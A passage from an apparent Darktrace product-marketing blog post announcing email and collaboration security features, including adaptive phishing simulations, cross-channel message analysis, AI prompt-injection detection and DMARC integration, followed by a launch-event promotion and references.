  • Adaptive phishing simulations that progress automatically with each user: Embedded simulations vary in their degree of realism, from generic phishing to generative AI-enabled spear phishing. Users progress through the difficulty levels based on their performance to give an accurate picture of their phishing preparedness.  
  • Native email security integration turns human behavior into quantified risk: The native email security integration allows engagement, links clicked, and question success signals to flow back into / EMAIL recipes and models, so detection and response adapt automatically as users learn.  
  • Actionable risk and trend analytics beyond completion rates: Analytics that surface repeat offenders, high-value targets, and measurable exposure, moving beyond completion metrics to give leaders actionable insights tied to real behavior.

Learn more about / Adaptive Human Defense in the product solution brief.

Industry-first cross-channel full-message analysis for email, Slack, Teams, and Zoom

Darktrace now brings full-message analysis to Email, Slack, Teams, Zoom, and even generative AI prompts. The same leading behavioral analysis from EMAIL extends to every message, tracing intent, tone, relationships, and conversation flow across all communication activity for a complete understanding of every user interaction.

By correlating messaging and collaboration activity with email and account environments, cross-channel analysis reveals multi-domain attack paths and follows both users and threats as a single, continuous narrative – delivering better context to improve detection across the entire organization.

  • Eliminate cross-channel blind spots: Detect phishing, malware, account takeovers, and conversational manipulation across email and collaboration platforms, so attackers can’t exploit Slack, Teams, or Zoom as a new entry point. Unified behavioral analysis gives security teams a coherent, single view, for no more fragmented, channel-specific gaps.
  • Spot generative AI prompt injection attacks before they manipulate assistants: Dedicated models surface threats targeting corporate AI assistants – like ShadowLeak and Hashjack – before they can silently manipulate workflows, reducing risk before static filters catch up.

Learn more about Darktrace’s messaging security offering in the product solution brief.

Industry-first DMARC with bi-directional ASM and email security integration

Darktrace transforms domain protection by linking DMARC, attack surface intelligence, and email security into a single, continuously evolving workflow. Instead of treating domain authentication and exposure as separate tasks, this unified approach shows not just where domains are vulnerable, but how attackers are actively exploiting them.

  • Fix authentication weaknesses faster: SPF, DKIM, DMARC configurations, and external exposure data are analyzed together, giving teams clear guidance to correct weaknesses before they can be abused. Deep bidirectional integration with attack surface intelligence reduces impersonation risk at the source.
  • Accelerate email investigations: DMARC context is embedded directly into email workflows, enriching triage with authentication posture, internal/external sender lists, and seamless pivots between email and domain intelligence for faster, more accurate investigations.

Committed to innovation

These updates are part of a broader Darktrace release, which also includes:

Join our Live Launch Event on April 14, 2026.

Join us for an exclusive announcement event where Darktrace, the leader in AI-native cybersecurity, will be announcing our latest innovations, including  a demo of our new product / Adaptive Human Defense, an exclusive conversation with a Darktrace customer, and a deep dive into the Darktrace ActiveAI Security Portal.  

Register here.

References

[1] 84% of organizations still measure security awareness training success through completion rates, a vanity metric with no correlation to behavior change. (Source:  NIST Awareness Effectiveness Study, Forrester 2025)

[2] 'Limited benefit from embedded phishing training. Using randomized controlled trials and statistical modeling, embedded training provides a statistically-significant reduction in average failure rate, but of only 2%.' Ho, G., Mirian, A., Luo, E., Tong, K., Lee, E., Liu, L., Longhurst, C. A., Dameff, C., Savage, S., & Voelker, G. M. (2025). Understanding the Efficacy of Phishing Training in Practice. Proceedings of the 2025 IEEE Symposium on Security and Privacy.

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About the author
Carlos Gray
Senior Product Marketing Manager, Email
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